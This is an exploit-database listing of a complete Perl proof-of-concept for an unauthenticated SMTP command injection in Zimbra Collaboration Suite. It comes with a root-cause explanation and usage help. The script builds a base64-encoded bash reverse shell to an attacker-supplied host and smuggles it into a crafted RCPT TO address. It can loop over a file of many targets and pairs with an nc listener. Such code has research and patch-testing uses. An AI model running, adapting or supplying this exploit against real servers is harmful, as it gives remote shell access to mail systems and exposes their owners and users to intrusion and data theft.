Sploitus

Exploit for Zimbra Collaboration Suite 10.1.19 SMTP Command Injection

packetstorm Β· 2026-08-27

Exploit Code

perl389 lines
## https://sploitus.com/exploit?id=PACKETSTORM:229888
#!/usr/bin/perl
    ##############################################################################
    # CVE-2026-73570 β€” Zimbra Collaboration Suite (ZCS)
    # SNMP Notification OS Command Injection β€” Unauthenticated RCE via SMTP
    # zimbra-poc.pl exploit by Gabriel P. Lipski
    #
    # Affected   : ZCS < 10.1.20 (zimbra-snmp pkg installed + snmp_notify enabled)
    # CVSS 3.1   : 8.9 HIGH  β€”  AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
    # CWE        : CWE-78 (Improper Neutralisation of OS Command Special Elements)
    # Fixed      : Zimbra 10.1.20 (released July 2026)
    # CISA KEV   : Added 2026-08-21  (remediation deadline 2026-08-24 for FCEB)
    #
    # Root Cause
    # ──────────
    # The optional zimbra-snmp package ships a swatchdog configuration that
    # watches /var/log/zimbra.log for log lines matching the pattern:
    #
    #   Service status change: <NAME> changed from (stopped|running) to (running|stopped)
    #
    # When a matching line is seen, swatchdog passes the captured <NAME> field
    # directly to the SNMP notification shell script without sanitisation.
    # An unauthenticated attacker can inject a fake log line via a crafted
    # SMTP RCPT TO command using a quoted local-part (valid per RFC 5321),
    # embedding shell metacharacters β€” e.g. $(...) β€” inside <NAME>.
    #
    # Attack Flow
    # ───────────
    # 1. Attacker opens TCP to port 25 / 465 / 587 of the Zimbra server.
    # 2. Sends EHLO, MAIL FROM, then a specially crafted RCPT TO:
    #    RCPT TO:<"x: Service status change: localhost $(CMD) changed from
    #             stopped to running"@cve.invalid>
    # 3. Zimbra logs the (rejected or accepted) RCPT TO data.
    # 4. swatchdog matches the log line pattern.
    # 5. SNMP notification handler executes CMD as the 'zimbra' OS user.
    #
    # References
    # ──────────
    # https://nvd.nist.gov/vuln/detail/CVE-2026-73570
    # https://github.com/BiuTrap/CVE-2026-73570
    # https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
    # https://moje.cert.pl/komunikaty/2026/145/aktywnie-wykorzystywana-podatnosc-w-zimbra-collaboration-suite
    # https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-73570
    #
    # Usage:
    #   perl zimbra-poc.pl -H mail.target.com  -r 10.10.10.1 -R 4444
    #   perl zimbra-poc.pl -f targets.txt      -r 10.10.10.1 -R 4444
    #
    # targets.txt format:
    #   mail.example.com         <- default port (--port)
    #   mail.example.com:25      <- explicit port
    #   10.0.0.50:587
    #
    # Listener: nc -lvnp 4444
    #
    ##############################################################################
    use strict;
    use warnings;
    use IO::Socket::INET;
    use IO::Socket::SSL  qw(SSL_VERIFY_NONE);
    use MIME::Base64     qw(encode_base64 decode_base64);
    use Digest::HMAC_MD5 qw(hmac_md5_hex);
    use POSIX            qw(strftime);
    use Fcntl            qw(:flock);
    use Getopt::Long     qw(:config no_ignore_case bundling);
    
    our $VERSION = '1.0.0';
    
    # ── ANSI colors (disabled when stdout is not a TTY) ──────────────────────────
    my %C;
    {
        my $tty = -t STDOUT;
        %C = (
            rst  => $tty ? "\033[0m"  : '',
            bold => $tty ? "\033[1m"  : '',
            red  => $tty ? "\033[91m" : '',
            grn  => $tty ? "\033[92m" : '',
            ylw  => $tty ? "\033[93m" : '',
            blu  => $tty ? "\033[94m" : '',
            mag  => $tty ? "\033[95m" : '',
            cyn  => $tty ? "\033[96m" : '',
            wht  => $tty ? "\033[37m" : '',
        );
    }
    
    # ── globals ───────────────────────────────────────────────────────────────────
    my ($sock, $log_fh, $tls_active);
    
    # ── options ───────────────────────────────────────────────────────────────────
    my %O = (
        host    => '',
        port    => 587,
        file    => '',
        rhost   => '',
        rport   => 4444,
        timeout => 15,
        ssl     => 0,
        verbose => 0,
        logfile => '',
    );
    
    GetOptions(
        'host|H=s'    => \$O{host},
        'port|p=i'    => \$O{port},
        'file|f=s'    => \$O{file},
        'rhost|r=s'   => \$O{rhost},
        'rport|R=i'   => \$O{rport},
        'timeout|t=i' => \$O{timeout},
        'ssl|S'       => \$O{ssl},
        'verbose|v'   => \$O{verbose},
        'logfile|L=s' => \$O{logfile},
        'help|h'      => \&usage,
    ) or usage();
    
    usage() unless ($O{host} || $O{file}) && $O{rhost};
    
    # ── build target list ─────────────────────────────────────────────────────────
    my @targets;
    
    if ($O{host}) {
        push @targets, { host => $O{host}, port => $O{port} };
    }
    
    if ($O{file}) {
        open(my $fh, '<', $O{file}) or die "[-] Cannot open '$O{file}': $!\n";
        while (my $line = <$fh>) {
            chomp $line;
            $line =~ s/^\s+|\s+$//g;
            next if $line eq '' || $line =~ /^#/;
            my ($h, $p) = split(/:/, $line, 2);
            $p = $O{port} unless defined $p && $p =~ /^\d+$/;
            push @targets, { host => $h, port => int($p) };
        }
        close $fh;
        die "[-] No valid targets in '$O{file}'\n" unless @targets;
    }
    
    # ── payload (built once, reused for every target) ─────────────────────────────
    my $shell_cmd = "bash -c 'bash -i >&/dev/tcp/$O{rhost}/$O{rport} 0>&1'";
    my $b64       = encode_base64($shell_cmd, '');
    $b64 =~ s/\s+//g;
    my $cmd    = "echo ${b64}|base64 -d|bash";
    my $inject = "\$(${cmd})";
    my $rcpt   = qq{"x: Service status change: localhost ${inject} changed from stopped to running"\@cve.invalid};
    
    # ── banner ────────────────────────────────────────────────────────────────────
    open_log() if $O{logfile};
    print_banner();
    say_info(sprintf "Targets : %d host(s)", scalar @targets);
    say_info("Shell   : $O{rhost}:$O{rport}");
    say_info("Listener: nc -lvnp $O{rport}");
    print "\n";
    
    # ── target loop ───────────────────────────────────────────────────────────────
    my ($ok, $fail) = (0, 0);
    
    for my $i (0 .. $#targets) {
        my $t = $targets[$i];
        say_info("─" x 50);
        say_info(sprintf "[%d/%d] %s:%d", $i+1, scalar @targets, $t->{host}, $t->{port});
    
        my $result = run_exploit($t->{host}, $t->{port});
    
        if ($result eq 'ok') {
            say_ok("PAYLOAD SENT β€” waiting for shell on nc -lvnp $O{rport}");
            $ok++;
        } else {
            say_err("FAILED: $result");
            $fail++;
        }
    
        sleep 1 unless $i == $#targets;
    }
    
    # ── summary ───────────────────────────────────────────────────────────────────
    print "\n";
    say_info("═" x 50);
    say_info(sprintf "Summary: %d/%d hit  %d failed", $ok, scalar @targets, $fail);
    say_info("═" x 50);
    
    close_log() if $log_fh;
    exit 0;
    
    # ═════════════════════════════════════════════════════════════════════════════
    # run_exploit β€” attempts the injection against a single target
    # ═════════════════════════════════════════════════════════════════════════════
    sub run_exploit {
        my ($host, $port) = @_;
        my $use_ssl = $O{ssl} || ($port == 465);
    
        # ── connect ───────────────────────────────────────────────────────────────
        eval {
            if ($use_ssl) {
                $sock = IO::Socket::SSL->new(
                    PeerHost        => $host,
                    PeerPort        => $port,
                    SSL_verify_mode => SSL_VERIFY_NONE,
                    Timeout         => $O{timeout},
                    Proto           => 'tcp',
                ) or die "SSL: " . IO::Socket::SSL::errstr();
                $tls_active = 1;
            } else {
                $sock = IO::Socket::INET->new(
                    PeerHost => $host,
                    PeerPort => $port,
                    Timeout  => $O{timeout},
                    Proto    => 'tcp',
                ) or die "TCP: $!";
                $tls_active = 0;
            }
        };
        if ($@) { (my $e = $@) =~ s/\s+$//; return $e }
    
        $sock->autoflush(1);
        say_dbg("Connected");
    
        # ── banner ────────────────────────────────────────────────────────────────
        my $banner = smtp_read_line();
        unless ($banner =~ /^220/) {
            close_sock();
            return "unexpected banner: $banner";
        }
        say_dbg("Banner: $banner");
    
        # ── EHLO ─────────────────────────────────────────────────────────────────
        smtp_send("EHLO mx-test.invalid");
        my $ehlo = smtp_read_multi();
        unless ($ehlo =~ /^250/m) {
            close_sock();
            return "EHLO failed";
        }
    
        # ── STARTTLS ─────────────────────────────────────────────────────────────
        if (!$tls_active && $ehlo =~ /STARTTLS/i) {
            smtp_send("STARTTLS");
            my $r = smtp_read_line();
            if ($r =~ /^220/) {
                IO::Socket::SSL->start_SSL($sock, SSL_verify_mode => SSL_VERIFY_NONE)
                    or do { close_sock(); return "STARTTLS failed" };
                $tls_active = 1;
                say_dbg("STARTTLS negotiated");
                smtp_send("EHLO mx-test.invalid");
                smtp_read_multi();
            }
        }
    
        # ── injection ─────────────────────────────────────────────────────────────
        smtp_send("MAIL FROM:<scanner\@mx-test.invalid>");
        my $r1 = smtp_read_line();
        say_dbg("MAIL FROM: $r1");
        unless ($r1 =~ /^250/) {
            smtp_send("QUIT"); smtp_read_line(); close_sock();
            return "MAIL FROM rejected: $r1";
        }
    
        say_dbg("RCPT TO: <$rcpt>");
        smtp_send("RCPT TO:<$rcpt>");
        my $r2 = smtp_read_line();
        say_dbg("RCPT TO resp: $r2");
    
        smtp_send("QUIT");
        smtp_read_line();
        close_sock();
    
        return 'ok' if $r2 =~ /^[245]\d{2}/;
        return "no valid response: $r2";
    }
    
    # ── SMTP layer ────────────────────────────────────────────────────────────────
    sub smtp_send {
        my ($line) = @_;
        say_dbg(">>> $line");
        log_write(">>> $line");
        print $sock "$line\r\n";
    }
    
    sub smtp_read_line {
        my $line = '';
        eval {
            local $SIG{ALRM} = sub { die "timeout\n" };
            alarm($O{timeout});
            $line = <$sock> // '';
            alarm(0);
        };
        $line =~ s/[\r\n]+$//;
        say_dbg("<<< $line") if $line;
        log_write("<<< $line") if $line;
        return $line;
    }
    
    sub smtp_read_multi {
        my $buf = '';
        eval {
            local $SIG{ALRM} = sub { die "timeout\n" };
            alarm($O{timeout});
            while (my $line = <$sock>) {
                $buf .= $line;
                last if $line =~ /^\d{3} /;
            }
            alarm(0);
        };
        $buf =~ s/[\r\n]+$//;
        return $buf;
    }
    
    sub close_sock {
        return unless $sock;
        eval { $sock->close() };
        $sock = undef;
        $tls_active = 0;
    }
    
    # ── output ────────────────────────────────────────────────────────────────────
    sub print_banner {
        my ($b, $n, $c, $g, $y) = @C{qw(bold rst cyn grn ylw)};
        print "${b}${c}  ╔══════════════════════════════════════════════════════════╗${n}\n";
        print "${b}${c}  β•‘  CVE-2026-73570  β€”  Zimbra ZCS Unauthenticated RCE      β•‘${n}\n";
        print "${b}${c}  β•‘  SNMP Notification OS Command Injection β€” Reverse Shell  β•‘${n}\n";
        print "${b}${c}  ╠══════════════════════════════════════════════════════════╣${n}\n";
        print "${b}${c}  β•‘  ${g}CVSS 3.1: 8.9 HIGH${c}  ZCS < 10.1.20                       β•‘${n}\n";
        print "${b}${c}  β•‘  ${y}Authorized security testing use only${c}                    β•‘${n}\n";
        print "${b}${c}  β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•${n}\n\n";
    }
    
    sub _ts { strftime("%H:%M:%S", localtime) }
    
    sub say_ok   { _say($C{bold}.$C{grn}."[+]".$C{rst}, @_) }
    sub say_info { _say($C{bold}.$C{blu}."[*]".$C{rst}, @_) }
    sub say_err  { _say($C{bold}.$C{red}."[-]".$C{rst}, @_) }
    sub say_dbg  { return unless $O{verbose}; _say($C{mag}."[~]".$C{rst}, @_) }
    
    sub _say {
        my ($prefix, $msg) = @_;
        printf "%s[%s]%s %s %s\n", $C{wht}, _ts(), $C{rst}, $prefix, $msg;
        log_write($msg);
    }
    
    sub log_write {
        my ($msg) = @_;
        return unless $log_fh;
        flock($log_fh, LOCK_EX);
        printf $log_fh "[%s] %s\n", strftime("%Y-%m-%d %H:%M:%S", localtime), $msg;
        flock($log_fh, LOCK_UN);
    }
    
    sub open_log {
        open($log_fh, '>>', $O{logfile}) or die "[-] Cannot open log '$O{logfile}': $!\n";
        $log_fh->autoflush(1);
    }
    
    sub close_log {
        close($log_fh) if $log_fh;
        $log_fh = undef;
    }
    
    # ── help ──────────────────────────────────────────────────────────────────────
    sub usage {
        print <<'END';
    
    Usage:
      perl zimbra-poc.pl -H <host>      -r <IP> [-R <port>] [options]
      perl zimbra-poc.pl -f <list.txt>  -r <IP> [-R <port>] [options]
    
    Options:
      -H, --host    <host>    Single target (hostname or IP)
      -f, --file    <file>    File with target list (one per line)
      -p, --port    <port>    Default SMTP port [default: 587]
      -r, --rhost   <IP>      Your IP to receive the reverse shell (required)
      -R, --rport   <port>    Listener port [default: 4444]
      -t, --timeout <sec>     Socket timeout [default: 15]
      -S, --ssl               Direct TLS (auto for port 465)
      -v, --verbose           Show full SMTP dialog
      -L, --logfile <file>    Save session to log file
      -h, --help              This help
    
    targets.txt format:
      mail.example.com           <- default port (--port)
      mail.example.com:25        <- explicit port
      10.0.0.50:587
      # comments are ignored
    
    Examples:
      perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
      perl zimbra-poc.pl -f targets.txt     -r 10.10.10.1 -R 4444 -L scan.log
      nc -lvnp 4444
    
    END
        exit 0;
    }